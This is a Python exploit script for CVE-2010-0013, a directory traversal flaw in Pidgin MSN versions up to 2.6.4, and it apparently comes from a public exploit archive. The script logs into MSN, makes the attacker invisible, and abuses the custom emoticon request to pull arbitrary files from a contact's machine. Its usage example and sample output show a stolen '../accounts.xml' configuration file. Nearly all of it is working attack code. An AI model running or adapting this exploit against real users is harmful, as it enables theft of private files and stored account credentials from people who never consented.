Pidgin MSN 2.6.4 File Download

`#!/usr/bin/env python   
"""  
Pidgin MSN <= 2.6.4 file download vulnerability  
  
19 January 2010  
  
Mathieu GASPARD ([email protected])  
  
  
Description:  
Pidgin is a multi-protocol Instant Messenger.  
  
This is an exploit for the vulnerability[1] discovered in Pidgin by Fabian Yamaguchi.  
The issue is caused by an error in the MSN custom smiley feature when processing emoticon requests,   
which could allow attackers to disclose the contents of arbitrary files via directory traversal attacks.  
  
Affected versions :  
Pidgin <= 2.6.4, Adium and other IM using Pidgin-libpurple/libmsn library.  
Plugin msn-pecan 0.1.0-rc2 (http://code.google.com/p/msn-pecan/) IS also vulnerable even if Pidgin is up to date  
  
Plateforms :  
Windows, Linux, Mac  
  
Fix :  
Fixed in Pidgin 2.6.5  
Update to the latest version : http://www.pidgin.im/download/  
  
References :  
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013  
[2] http://www.pidgin.im/news/security/?id=42  
  
Usage :  
You need the Python MSN Messenger library : http://telepathy.freedesktop.org/wiki/Pymsn  
python pidgin_exploit.py -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE [-o OUTPUT_FILE] [-l]  
  
Example :   
# python pidgin_exploit.py -a [email protected] -c [email protected] -f ../accounts.xml [-o accounts.xml]  
  
***********************************************************  
  
Pidgin MSN file download vulnerability (CVE-2010-0013)  
  
Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]  
  
***********************************************************  
  
Please enter the password for the account "[email protected]"  
Password:  
[+] Connecting to server  
[+] Authentication in progress  
[+] Synchronisation in progress  
[+] OK, all done, ready to proceed  
[+] Sending request for file "../accounts.xml" to "[email protected]"  
[+] Using session_id 974948028  
Current : 3606, total: 3881 (92%)  
[+] Got an answer from the contact  
----------------  
<?xml version='1.0' encoding='UTF-8' ?>  
  
<account version='1.0'>  
........  
"""  
  
  
import warnings  
warnings.simplefilter("ignore",DeprecationWarning)  
import os  
import sys  
try:  
import pymsn  
except ImportError:  
print "Pymsn couldn't be loaded"  
print "On debian-like systems, the package is python-msn"  
sys.exit(-1)  
import gobject  
import logging  
import getpass  
import hashlib  
from optparse import OptionParser  
import signal  
import time  
  
SERVER_ADDRESS = 'messenger.hotmail.com'  
SERVER_PORT = 1863  
FD_OUT = sys.stdout  
MAINLOOP = None  
# seconds after which, if we didn't get an answer, we quit  
TIMEOUT = 5  
  
global_client = None  
  
def quit():  
MAINLOOP.quit()  
sys.exit(0)  
  
  
def check_if_succeeds():  
# if False, we didn't get a chunk so we won't get any file, so we quit  
if global_client.GOT_CONTROL_BLOB == False:  
print "[+] Didn't get an answer from the client after %d seconds, it's likely not vulnerable or the file requested doesn't exist/is not accessible"%TIMEOUT  
print "[+] Exiting"  
global_client.quit()  
  
# called when we get the result data, after our request  
def handle_answer(object, client):  
print "\n[+] Got an answer from the contact"  
d = object._data  
data = d.read()  
length = len(data)  
FD_OUT.write(data)  
# if we wrote output to stdout, don't close it  
if FD_OUT != sys.stdout:  
FD_OUT.close()  
print "[+] Wrote %d bytes to file"%length  
client.end = time.time()  
duration = client.end - client.begin  
print "[+] Download lasted %d seconds at %d bytes/s "%(duration,(length/duration))  
client.quit()  
  
def my_on_chunk_recv(transport, chunk):  
global_client._p2p_session_manager._transport_manager._on_chunk_received_OLD(transport, chunk)  
session_id = chunk.header.session_id  
blob_id = chunk.header.blob_id  
if session_id == global_client.session_id:  
# first blob is control, we "squeeze" it and keep only the second one  
if global_client.GOT_CONTROL_BLOB == False:  
#print "Got Control blob in our connection (session_id : %d, blob_id: %d)"%(session_id, blob_id)  
global_client.GOT_CONTROL_BLOB = True  
else:  
# if connections is complete, session_id is removed from data_blobs so we have to check before accessing it  
if global_client._p2p_session_manager._transport_manager._data_blobs.has_key(session_id):  
current_blob = global_client._p2p_session_manager._transport_manager._data_blobs[session_id]  
print "Current : %d, total: %d (%d%%)\r"%(current_blob.current_size, current_blob.total_size, ((current_blob.current_size*100)/current_blob.total_size)),  
sys.stdout.flush()  
  
  
def error_handler(self, error_type, error):  
# __on_user_invitation_failed, probably because contact is offline/invisible  
if error_type == pymsn.event.ConversationErrorType.CONTACT_INVITE and \  
error == pymsn.event.ContactInviteError.NOT_AVAILABLE:  
print "[*] ERROR, contact didn't accept our invite, probably because it is disconnected/invisible"  
quit()  
# __on_message_undelivered, probably because contact is offline/invisible  
if error_type == pymsn.event.ConversationErrorType.MESSAGE and \  
error == pymsn.event.MessageError.DELIVERY_FAILED:  
print "[*] ERROR, couldn't send message, probably because contact is disconnected/invisible"  
quit()  
print "[*] Unhandled error, error_type : %d , error : %d"%(error_type, error)  
quit()  
  
class MyClient(pymsn.Client):  
def __init__(self, server, quit, victim, filename, list_only, proxies={}, transport_class=pymsn.transport.DirectConnection):  
# callback to quit  
self.quit = quit  
# victim from whom we request the file  
self.victim = victim  
# just list contacts for this account  
self.list_only = list_only  
# file we request  
self.filename = filename  
# to calculate download duration and speed  
self.begin = 0  
self.end = 0  
# session_id of the connection to retrieve the file  
self.session_id = 0  
# have we already seen the "control blob" for this connection  
self.GOT_CONTROL_BLOB = False  
pymsn.Client.__init__(self, server)  
# REALLY REALLY HACKISH  
# if contact is disconnected/invisible, a "NotImplementedError" exception is raised  
# and it can't be caught AFAIK so it needs to be redefined here  
# handler_class should be SwitchboardClient  
for handler_class, extra_args in self._switchboard_manager._handlers_class:  
handler_class._on_error = error_handler  
  
  
  
class MyMSNObjectStore(pymsn.p2p.MSNObjectStore):  
def __compute_data_hash(self, data):  
digest = hashlib.sha1()  
data.seek(0, 0)  
read_data = data.read(1024)  
while len(read_data) > 0:  
digest.update(read_data)  
read_data = data.read(1024)  
data.seek(0, 0)  
return digest.digest()  
  
# need to compute the SHA hash (SHAd in MSNObject) otherelse the function in MSNObjectStore complains because  
# the hash of the data we receive is not the hash we expected (hash we expect is the one we send, which is always the same here)  
def _outgoing_session_transfer_completed(self, session, data):  
handle_id, callback, errback, msn_object = self._outgoing_sessions[session]   
msn_object._data_sha = self.__compute_data_hash(data)   
super(MyMSNObjectStore, self)._outgoing_session_transfer_completed(session, data)  
  
class ClientEventHandler(pymsn.event.ClientEventInterface):  
  
def on_client_error(self, error_type, error):  
if error_type == pymsn.event.ClientErrorType.AUTHENTICATION:  
print "[+] Authentication failed, bad login/password"  
self._client.quit()  
else:  
print "[*] ERROR :", error_type, " ->", error  
  
def on_client_state_changed(self, state):  
#print "State changed to %s" % state  
if state == pymsn.client.ClientState.CLOSED:  
print "[+] Connection to server closed"  
self._client.quit()  
  
if state == pymsn.client.ClientState.CONNECTING:  
if self.current_state != state:  
print "[+] Connecting to server"  
self.current_state = state  
if state == pymsn.client.ClientState.AUTHENTICATING:  
if self.current_state != state:  
print "[+] Authentication in progress"  
self.current_state = state  
if state == pymsn.client.ClientState.SYNCHRONIZING:  
if self.current_state != state:  
print "[+] Synchronisation in progress"  
self.current_state = state  
  
if state == pymsn.client.ClientState.OPEN:  
print "[+] OK, all done, ready to proceed"  
self._client.profile.presence = pymsn.Presence.INVISIBLE  
contact_dict = {}  
for i in self._client.address_book.contacts:  
contact_dict[i.account] = i  
if self._client.list_only:  
for (k,v) in contact_dict.items():  
print k+" ("+v.display_name+")"  
self._client.quit()  
else:  
if self._client.victim not in contact_dict.keys():  
print "[*] Error, contact %s not in your contact list"%self._client.victim  
self._client.quit()  
else:   
contact = contact_dict[self._client.victim]  
store = MyMSNObjectStore(self._client)  
object = pymsn.p2p.MSNObject(contact, 65535, pymsn.p2p.MSNObjectType.CUSTOM_EMOTICON, self._client.filename, 'AAA=','2jmj7l5rSw0yVb/vlWAYkK/YBwk=')  
print "[+] Sending request for file \"%s\" to \"%s\""%(self._client.filename, self._client.victim)  
self._client.begin = time.time()  
store.request(object, [handle_answer, self._client])  
# at this moment, we got only one session_id, the one we will use to request the file  
for k in store._outgoing_sessions.keys():  
print "[+] Using session_id %d"%k._id  
self._client.session_id = k._id  
# hack to set up my own callback each time we receive a chunk, used to print the percentage of the download  
self._client._p2p_session_manager._transport_manager._on_chunk_received_OLD = self._client._p2p_session_manager._transport_manager._on_chunk_received  
self._client._p2p_session_manager._transport_manager._on_chunk_received = my_on_chunk_recv  
# if no file transfer received from the victim after TIMEOUT seconds, quit  
gobject.timeout_add(TIMEOUT*1000, check_if_succeeds)  
  
def __init__(self, client):  
self.current_state = None  
pymsn.event.ClientEventInterface.__init__(self, client)  
  
  
if __name__ == '__main__':  
print "***********************************************************\n"  
print "Pidgin MSN file download vulnerability (CVE-2010-0013)\n"  
print "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]\n"  
print "***********************************************************\n"  
  
usage = "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l] "  
parser = OptionParser(usage=usage)  
parser.add_option("-f", "--file", dest="filename", default=None,  
help="File requested to remote contact")  
parser.add_option("-o", "--output", dest="output_file", default=None,  
help="Where to write received file, STDOUT otherelse")  
parser.add_option("-a", "--account", dest="account", default=None,  
help="MSN account to use")  
parser.add_option("-c", "--contact", dest="contact", default=None,  
help="Contact to request file from")  
parser.add_option("-l", "--list", dest="list_only", action="store_true", default=False,  
help="Just print contact list for your account and exit")  
  
(options, args) = parser.parse_args()  
if not options.filename or not options.account or not options.contact:  
if not (options.account and options.list_only):  
print "Error, parameter missing"  
parser.print_help()  
sys.exit(-1)  
  
if options.output_file != None:  
try:  
FD_OUT = open(options.output_file,"wb")  
except Exception,e:  
print "Cannot open file %s (%s)"%(options.output_file, e)  
sys.exit(-1)  
  
MAINLOOP = gobject.MainLoop()  
  
def sigterm_cb():  
gobject.idle_add(quit)  
  
signal.signal(signal.SIGTERM, sigterm_cb)  
  
logging.basicConfig(level=logging.CRITICAL) # allows us to see the protocol debug  
server = (SERVER_ADDRESS, SERVER_PORT)  
client = MyClient(server, quit, options.contact, options.filename, options.list_only)  
global_client = client  
client_events_handler = ClientEventHandler(client)  
print "Please enter the password for the account \"%s\""%options.account  
try:  
passwd = getpass.getpass()  
except KeyboardInterrupt:  
quit()  
  
login_info = (options.account, passwd)  
client.login(*login_info)  
try:  
MAINLOOP.run()  
except KeyboardInterrupt:  
quit()  
  
  
`